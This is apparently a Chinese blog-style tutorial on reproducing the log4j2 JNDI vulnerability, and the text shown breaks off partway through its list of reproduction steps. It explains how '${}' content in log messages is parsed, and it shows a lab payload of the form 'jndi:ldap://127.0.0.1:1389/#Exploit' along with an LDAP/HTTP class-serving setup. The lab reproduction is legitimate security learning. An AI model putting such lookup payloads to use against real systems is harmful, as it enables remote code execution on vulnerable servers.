lo4j2 漏洞复现过程及解决方案
背景
近日,阿里云团队发现并报告了 log4j2 的一个漏洞。
由于 log4j2 是一个依赖较广的底层库,所以影响范围很大。影响程度严重,有多严重呢? 这么说吧,是灾难性的。
复现漏洞
环境介绍
- 操作系统:macos Catalina
- jdk 版本:11.0.9.1
- log4j2 版本:2.13.3(使用 springboot 2.3.2.RELEASE 间接依赖)
原理介绍
引用公众号:“小林 coding” 的一张图:
使用 log4j2 正常打日志的时候没事儿,比如:
logger.info("this is {}", "log4j2 demo");
但如果你的日志中包含 “${
” 开头,“}
” 结尾的内容就会被解析出来,单独处理。
而如果“${}
” 所包裹的内容是类似这样的:jndi:ldap://127.0.0.1:1389/#Exploit
,则有可能触发这个漏洞。
复现具体流程是这样的:
1.先写一段想要被远程执行的 java 代码,然后编译成 class 文件2.将 HTTP Server 启动,保证可以通过 Http Server 访问到这个 class 文件。3.将 LDAP Server 启动,并将 Http Server 上的那个 class 文件注册上去。4.启动 java 应用程序,利用 lo